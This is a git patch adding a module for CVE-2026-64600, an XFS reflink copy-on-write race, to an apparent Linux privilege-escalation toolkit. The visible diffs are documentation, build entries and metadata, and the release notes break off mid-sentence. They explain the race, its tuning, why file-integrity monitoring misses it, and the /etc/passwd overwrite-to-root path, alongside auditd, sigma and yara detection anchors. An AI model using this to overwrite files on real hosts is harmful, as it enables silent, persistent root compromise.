From e46a32f11ed506e4a4299fd35b7ea208cf39f413 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Thu, 23 Jul 2026 17:49:40 -0400 Subject: [PATCH] modules: add refluxfs (CVE-2026-64600, "RefluXFS" XFS reflink CoW ILOCK race) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the corpus's first XFS module and its first data-oriented kernel bug — every other kernel entry corrupts memory; this one corrupts file contents. xfs_direct_write_iomap_begin() reads the data-fork extent map under ILOCK, then xfs_reflink_fill_cow_hole() drops ILOCK to wait for transaction log space. On reacquiring it, the code re-queries the refcount btree at the ORIGINAL imap->br_startblock and never re-reads the data fork. A second O_DIRECT writer holding only IOLOCK completes a whole CoW cycle in that window, so the first writer's stale mapping sees refcount 1, treats a still-shared block as private, and writes to it in place — landing its data on the reflink source file's on-disk blocks. The primitive is an arbitrary overwrite of the on-disk contents of any readable file, which has three consequences that drive the design: - No offsets, no ROP, no KASLR/SMEP/SMAP; SELinux, containers and seccomp are all irrelevant. - The victim's inode is never written, so mtime/ctime/size never change and nothing is logged — FIM and `-w /etc/passwd -p wa` cannot see it. - The change persists across reboots. Introduced 4.11 (3c68d44a2b49); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96. Exposure is distro-shaped: RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31 and Amazon Linux 2023 ship XFS+reflink by default. detect() is not a pure version gate — reachability here is safely observable, so it pairs the backport table with a real storage precondition (writable XFS via statfs XFS_SUPER_MAGIC, deliberately not via a successful FICLONE since btrfs implements that too and is unaffected). --active confirms reflink via FICLONE; SKELETONKEY_XFS_ASSUME_REFLINK=1/0 overrides. On rpm-family hosts it warns that vendors backport without bumping the upstream version, so the verdict speaks only to the upstream base. exploit() forks a child that works only in a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) plus an O_DIRECT gate, then races a hard-bounded 8 writers / 2 helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT. Deliberately under-driven, and it never clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step is documented but NOT bundled. Always returns EXPLOIT_FAIL. Safety rank 55, far above bad_epoll (12) and ghostlock (11): a won race corrupts 4 KiB of our own scratch file and cannot touch kernel memory, so there is no oops/KASAN/panic path. Detection inverts the usual advice. auditd/sigma anchor on ioctl request 0x40049409 (FICLONE, matched exactly) and openat O_DIRECT; falco adds the cross-uid reflink condition; and the yara rule is genuinely the right tool here, matching the on-disk artifact because FIM is structurally blind. VM-VERIFIED 2026-07-23 — the corpus's first rpm-family verification, taking the empirical count to 29 of 41 CVEs. Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, stock GenericCloud layout with no provisioner changes (root is XFS with reflink=1 out of the box). detect() -> VULNERABLE, --active FICLONE witness confirmed reflink, phase A observed FIEMAP_EXTENT_SHARED on a real shared extent, scratch self-cleaned, clean build on el9 gcc. The underlying bug was separately confirmed winnable on that kernel via tools/verify-vm/refluxfs_verify.c at the public PoC's parameters (32 writers / 8 helpers, 60s): 4/4 runs won, first divergence after 69/114/170/494 rounds. The shipped under-driven trigger did NOT win in its 2s budget on that same vulnerable kernel — intended behaviour, and exactly why a non-win must never be read as "patched". 14 new detect() unit rows (148 tests total, 0 failures). Bumps to v0.9.14. Credit: Qualys Threat Research Unit (blog by Saeed Abbasi; the technical advisory credits model-assisted kernel analysis performed with Anthropic), and the upstream XFS maintainers who fixed it. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y --- CVES.md | 8 +- Makefile | 7 +- README.md | 44 +- core/cve_metadata.c | 13 + core/registry.h | 1 + core/registry_all.c | 1 + docs/CVE_METADATA.json | 9 + docs/KEV_CROSSREF.md | 3 +- docs/RELEASE_NOTES.md | 126 ++ docs/VERIFICATIONS.jsonl | 1 + docs/index.html | 27 +- modules/refluxfs_cve_2026_64600/MODULE.md | 211 ++++ modules/refluxfs_cve_2026_64600/NOTICE.md | 117 ++ .../skeletonkey_modules.c | 1075 +++++++++++++++++ .../skeletonkey_modules.h | 12 + skeletonkey.c | 3 +- tests/test_detect.c | 122 ++ tools/verify-vm/refluxfs_verify.c | 155 +++ tools/verify-vm/targets.yaml | 10 + 19 files changed, 1914 insertions(+), 31 deletions(-) create mode 100644 modules/refluxfs_cve_2026_64600/MODULE.md create mode 100644 modules/refluxfs_cve_2026_64600/NOTICE.md create mode 100644 modules/refluxfs_cve_2026_64600/skeletonkey_modules.c create mode 100644 modules/refluxfs_cve_2026_64600/skeletonkey_modules.h create mode 100644 tools/verify-vm/refluxfs_verify.c diff --git a/CVES.md b/CVES.md index 4b00cb0..5bff010 100644 --- a/CVES.md +++ b/CVES.md @@ -23,7 +23,7 @@ Status legend: - 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for historical reference only -**Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs +**Counts:** 46 modules total covering 41 CVEs; **29 of 41 CVEs verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a *candidate* with no module, not counted as a module.) @@ -34,7 +34,9 @@ planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition > libs) or are brand-new this cycle, not by missing code (`bad_epoll` and > `ghostlock` are reconstructed race triggers — deliberately under-driven -> and not VM-verified). See +> and not VM-verified). `refluxfs` was VM-verified on 2026-07-23 against +> Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (the corpus's first +> rpm-family verification). See > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). > > All three now have **pinned fix commits and version-based @@ -100,6 +102,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. | | CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. | | CVE-2026-43499 | GhostLock — rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** → kernel-**stack** UAF → near-arbitrary write → root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | 🟡 | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling → controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak → forged waiter → `struct file` `f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe — validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm — **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. | +| CVE-2026-64600 | RefluXFS — XFS reflink CoW `ILOCK`-cycling TOCTOU race | LPE (unprivileged, **no userns, no offsets** → overwrite the on-disk contents of any readable file → `/etc/passwd` → root) | fixed 7.1.4 / 6.18.39 / 6.12.96 (CNA backports of `2f4acd0fcd86`, mainline 7.2-rc4, merged 2026-07-16); 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 affected with no upstream stable fix | `refluxfs` | 🟡 | **Qualys TRU disclosure (2026-07-22) with a video PoC on RHEL 10.2; reconstructed trigger, VM-VERIFIED 2026-07-23 on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (stock XFS+reflink layout, qemu/KVM) — the corpus's first rpm-family verification. detect() returned VULNERABLE, the `--active` FICLONE witness confirmed reflink, and phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent. The underlying bug was separately confirmed winnable on that kernel (4/4 runs, first divergence after 69-494 rounds in 60 s) via a VM-only harness at the public PoC's parameters, `tools/verify-vm/refluxfs_verify.c`; the shipped under-driven trigger did NOT win in its 2 s budget on that same vulnerable kernel — intended behaviour, and precisely why a non-win must never be read as "patched".** `xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`, drops `ILOCK` in `xfs_reflink_fill_cow_hole()` to wait for transaction log space, then re-checks the refcount btree at the **original** `imap->br_startblock` and never re-reads the data fork. A second `O_DIRECT` writer (holding only `IOLOCK`) completes a full CoW cycle in that window, so the first writer's stale mapping sees refcount 1, treats a still-shared block as private, and writes to it in place — landing its data on the reflink **source** file's blocks. The corpus's first XFS module and its first **data-oriented** kernel bug: the primitive is an arbitrary *file-content* overwrite, so there are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux enforcing / containers / seccomp are all irrelevant. Crucially the victim's **inode is never written** — `mtime`/`ctime`/size are unchanged and nothing is logged — so **FIM and `-w /etc/passwd -p wa` do not fire**; the change persists across reboots. Reachable by any unprivileged user with a writable dir on an XFS volume mounted `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) — i.e. **default RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server ≥ 31, Amazon Linux 2023**; Debian/Ubuntu/SUSE/Arch default to ext4/btrfs and are PRECOND_FAIL; RHEL 7 (3.10) never affected. Introduced 4.11 (`3c68d44a2b49`) — a nine-year window. CWE-362 → CWE-367; NVD published no CWE/CVSS at time of writing; not in KEV. detect() version-gates **and** probes for a writable XFS mount via `statfs()` `XFS_SUPER_MAGIC` (not via FICLONE — btrfs implements that too), confirming `reflink=1` under `--active`; override with `SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. It warns explicitly that on rpm-family hosts the upstream-version verdict **cannot see a vendor backport** (a patched el8 kernel still reports `4.18.0-*`) — check the RHSA/ELSA/ALSA/RLSA erratum. exploit() forks a child that works only in a private `mkdtemp` scratch dir on **two files it owns**: it establishes a shared extent (FICLONE, corroborated by `FIEMAP_EXTENT_SHARED`) plus an `O_DIRECT` gate, then races a hard-bounded 8 writers / 2 `ftruncate`+`fdatasync` helpers / 16 rounds / 2 s and stops, reading the donor back with `O_DIRECT` (a buffered read would be served from the page cache the corruption bypasses). **Deliberately under-driven** (PoC uses 32 writers / 8 helpers) and it **never clones or targets a file it does not own** — the `/etc/passwd` overwrite → `su` → root step persistently rewrites a system file with no undo and is documented but NOT bundled. Returns `EXPLOIT_FAIL`. Safety rank **55** — far above `bad_epoll`/`ghostlock` because a won race corrupts 4 KiB of our own scratch file and **cannot touch kernel memory** (no oops/KASAN/panic path). Ships the corpus's most useful **yara** rule: since FIM is blind here, it matches the on-disk artifact (a `passwd` with a password-less root entry or an added uid-0 account); auditd/sigma anchor on `ioctl` request `0x40049409` (FICLONE) and `openat` `O_DIRECT`. Arch-neutral (any). Mitigate: none possible — patch + reboot. Credit: Qualys TRU (Saeed Abbasi; advisory credits model-assisted analysis with Anthropic). | | CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. | ## Operations supported per module @@ -141,6 +144,7 @@ Symbols: ✓ = supported, — = not applicable / no automated path. | pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) | | ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) | | sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) | +| refluxfs | ✓ (+ `--active` FICLONE witness) | ✓ (trigger, own files only) | — (no runtime mitigation exists — patch + reboot) | ✓ (sweep leftover scratch dirs) | ✓ (auditd + sigma + yara + falco) | ## Pipeline for additions diff --git a/Makefile b/Makefile index 7f5ba8e..773f64f 100644 --- a/Makefile +++ b/Makefile @@ -252,6 +252,11 @@ GHL_DIR := modules/ghostlock_cve_2026_43499 GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS)) +# CVE-2026-64600 refluxfs — XFS reflink CoW ILOCK-cycling TOCTOU race ("RefluXFS", Qualys TRU) +RFX_DIR := modules/refluxfs_cve_2026_64600 +RFX_SRCS := $(RFX_DIR)/skeletonkey_modules.c +RFX_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(RFX_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o @@ -266,7 +271,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \ $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \ - $(GHL_OBJS) + $(GHL_OBJS) $(RFX_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) diff --git a/README.md b/README.md index 065589f..af9e730 100644 --- a/README.md +++ b/README.md @@ -2,11 +2,11 @@ [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl) +[![Modules](https://img.shields.io/badge/CVEs-29%20VM--verified%20%2F%2041-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) -> **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026. -> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux +> **One curated binary. 46 Linux LPE modules covering 41 CVEs from 2016 → 2026. +> Every year 2016 → 2026 covered. 29 confirmed end-to-end against real Linux > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > the safest one and runs it.** @@ -45,8 +45,8 @@ for every CVE in the bundle — same project for red and blue teams. ## Corpus at a glance -**45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE -timeline. **28 of the 40 CVEs have been empirically verified** in real +**46 modules covering 41 distinct CVEs** across the 2016 → 2026 LPE +timeline. **29 of the 41 CVEs have been empirically verified** in real Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are blocked by their target environment (legacy hypervisor, EOL kernel, or the t64-transition libc rollout) or are brand-new additions awaiting a @@ -68,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy · nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload · netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx -### Empirical verification (28 of 40 CVEs) +### Empirical verification (29 of 41 CVEs) Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove each verdict against a known-target VM. Coverage: @@ -80,6 +80,7 @@ each verdict against a known-target VM. Coverage: | Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot | | Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup | | Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev | +| Rocky Linux 9.8 (5.14.0-687.10.1.el9_8.0.1, stock XFS + `reflink=1`) | refluxfs | **Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box), @@ -212,8 +213,25 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every -year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499, +**v0.9.14 cut 2026-07-23.** 46 modules across 41 CVEs — **every +year 2016 → 2026 now covered**. Newest: `refluxfs` (CVE-2026-64600, +Qualys TRU's "RefluXFS" — a nine-year TOCTOU race in the XFS **reflink +copy-on-write** path: `xfs_reflink_fill_cow_hole()` drops `ILOCK` to wait +for transaction log space, then re-checks the refcount btree at a +**stale** physical block without re-reading the data fork, so a +direct-I/O writer treats a still-shared block as private and writes to it +in place. The primitive is an arbitrary overwrite of the **on-disk +contents of any readable file** — data, not memory corruption — so there +are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux +enforcing, containers and seccomp are all irrelevant. Because the +victim's inode is never written, its `mtime`/`ctime`/size never change +and **file-integrity monitoring cannot see it**. Unprivileged, no userns, +no crafted image — reachable wherever an XFS volume is mounted +`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10, +Fedora Server ≥ 31 and Amazon Linux 2023. Shipped as a reconstructed +trigger confined to files the operator owns, with the `/etc/passwd` +overwrite → `su` → root step documented but **not** bundled), +`ghostlock` (CVE-2026-43499, VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI use-after-free on **kernel stack** memory where `remove_waiter()` clears `pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback, @@ -237,9 +255,9 @@ v0.9.0 added 5 gap-fillers the verified count from 22 → 28 by booting real vulnerable kernels (Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo 1.9.16p1 + Debian 12 + polkit allow rule for udisks). -**28 empirically verified** against real Linux VMs (Ubuntu 18.04 / -20.04 / 22.04 + Debian 11 / 12 + mainline kernels from -kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on +**29 empirically verified** against real Linux VMs (Ubuntu 18.04 / +20.04 / 22.04 + Debian 11 / 12 + Rocky Linux 9.8 + mainline kernels +from kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic + static-musl flavors). @@ -253,7 +271,7 @@ Reliability + accuracy work in v0.7.x: - **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold that boots known-vulnerable kernels (stock distro + mainline via kernel.ubuntu.com), runs `--explain --active` per module, records - match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end. + match/MISMATCH/PRECOND_FAIL as JSON. 29 modules confirmed end-to-end. - **`--explain `** — single-page operator briefing: CVE / CWE / MITRE ATT&CK / CISA KEV status, host fingerprint, live detect() trace, OPSEC footprint, detection-rule coverage, verified-on @@ -265,7 +283,7 @@ Reliability + accuracy work in v0.7.x: - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + exploit, structured verdict table, scan summary, `--dry-run`. -Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only), +Not yet verified (12 of 41 CVEs): `vmwgfx` (VMware-guest only), `dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common diff --git a/core/cve_metadata.c b/core/cve_metadata.c index 98d620c..f9078ea 100644 --- a/core/cve_metadata.c +++ b/core/cve_metadata.c @@ -332,6 +332,19 @@ const struct cve_metadata cve_metadata_table[] = { .in_kev = false, .kev_date_added = "", }, + { + /* NVD had published no CWE for this CVE at time of writing + * (disclosed 2026-07-22); SKELETONKEY's own reading is CWE-362 + * (race) yielding CWE-367 (TOCTOU) — see the module MODULE.md. + * This field mirrors NVD, so it stays NULL until NVD classifies + * it and the refresh script fills it in. */ + .cve = "CVE-2026-64600", + .cwe = NULL, + .attack_technique = "T1068", + .attack_subtechnique = NULL, + .in_kev = false, + .kev_date_added = "", + }, }; const size_t cve_metadata_table_len = diff --git a/core/registry.h b/core/registry.h index dcfb219..7871ecd 100644 --- a/core/registry.h +++ b/core/registry.h @@ -61,6 +61,7 @@ void skeletonkey_register_cifswitch(void); void skeletonkey_register_nft_catchall(void); void skeletonkey_register_bad_epoll(void); void skeletonkey_register_ghostlock(void); +void skeletonkey_register_refluxfs(void); /* Call every skeletonkey_register_() above in canonical order. * Single source of truth so the main binary and the test binary stay diff --git a/core/registry_all.c b/core/registry_all.c index 78ed5da..cf3577f 100644 --- a/core/registry_all.c +++ b/core/registry_all.c @@ -57,4 +57,5 @@ void skeletonkey_register_all_modules(void) skeletonkey_register_nft_catchall(); skeletonkey_register_bad_epoll(); skeletonkey_register_ghostlock(); + skeletonkey_register_refluxfs(); } diff --git a/docs/CVE_METADATA.json b/docs/CVE_METADATA.json index e987d41..913c9dd 100644 --- a/docs/CVE_METADATA.json +++ b/docs/CVE_METADATA.json @@ -358,5 +358,14 @@ "attack_subtechnique": null, "in_kev": false, "kev_date_added": "" + }, + { + "cve": "CVE-2026-64600", + "module_dir": "refluxfs_cve_2026_64600", + "cwe": null, + "attack_technique": "T1068", + "attack_subtechnique": null, + "in_kev": false, + "kev_date_added": "" } ] diff --git a/docs/KEV_CROSSREF.md b/docs/KEV_CROSSREF.md index 058db54..ac8a7b4 100644 --- a/docs/KEV_CROSSREF.md +++ b/docs/KEV_CROSSREF.md @@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited in the wild per the Known Exploited Vulnerabilities catalog. Refreshed via `tools/refresh-cve-metadata.py`. -**13 of 40 modules cover KEV-listed CVEs.** +**13 of 41 modules cover KEV-listed CVEs.** ## In KEV (prioritize patching) @@ -59,3 +59,4 @@ and are technically reachable. "Not in KEV" is not the same as | CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` | | CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` | | CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` | +| CVE-2026-64600 | ? | `refluxfs_cve_2026_64600` | diff --git a/docs/RELEASE_NOTES.md b/docs/RELEASE_NOTES.md index a10b4a7..b3da5c9 100644 --- a/docs/RELEASE_NOTES.md +++ b/docs/RELEASE_NOTES.md @@ -1,3 +1,129 @@ +## SKELETONKEY v0.9.14 — new LPE module: refluxfs (CVE-2026-64600) + +Adds **`refluxfs` — CVE-2026-64600 "RefluXFS"** (Qualys Threat Research Unit), +taking the corpus to **46 modules / 41 CVEs** and opening a brand-new subsystem: +**XFS reflink copy-on-write** (`fs/xfs/xfs_iomap.c`, `fs/xfs/xfs_reflink.c`). It +is also the corpus's first **data-oriented** kernel bug — every other kernel +entry in the set corrupts memory; this one corrupts file contents. + +`xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`, +then `xfs_reflink_fill_cow_hole()` **drops `ILOCK`** to allocate a transaction +(i.e. to wait for log space). On re-acquiring it, the code re-queries the +refcount btree at the **original** physical block number (`imap->br_startblock`) +and **never re-reads the data fork**. A second `O_DIRECT` writer holding only the +coarser `IOLOCK` can complete an entire CoW cycle inside that window — allocate +block Y, write it, remap via `xfs_reflink_end_cow()` — leaving the first writer's +mapping pointing at a block now owned solely by the reflink **source**. The stale +lookup returns refcount `1`, the writer concludes the block is private, and +writes to it in place, landing attacker data on the source file's on-disk blocks. + +Three properties make this unlike anything else in the corpus: + +- **No offsets, no ROP, no KASLR/SMEP/SMAP.** The primitive is an arbitrary + overwrite of the *on-disk contents of any readable file*, so there is nothing + to port per kernel build and no `--full-chain` offset entry to fill. Qualys is + explicit that SELinux enforcing, container boundaries and seccomp are equally + irrelevant: *"This isn't a vulnerability you can harden around, isolate, or + live-patch."* +- **File-integrity monitoring cannot see it.** The data is applied to the shared + physical block *beneath* the victim inode. No `write(2)` ever targets it, so + `mtime`/`ctime`/size are unchanged and nothing is logged — `-w /etc/passwd -p + wa`, AIDE and Tripwire all stay silent. The change persists across reboots. +- **The exposure is distro-shaped, not kernel-shaped.** What matters is whether + XFS+reflink is the installer default: **RHEL/CentOS Stream/Rocky/AlmaLinux/ + Oracle/CloudLinux 8-10, Fedora Server ≥ 31 and Amazon Linux 2023** are + exploitable out of the box; Debian, Ubuntu, Fedora Workstation, SLES, openSUSE + and Arch default to ext4/btrfs and are not reachable. RHEL/CentOS 7 (3.10) was + never affected. + +Introduced **4.11** (2017-02, `3c68d44a2b49`) 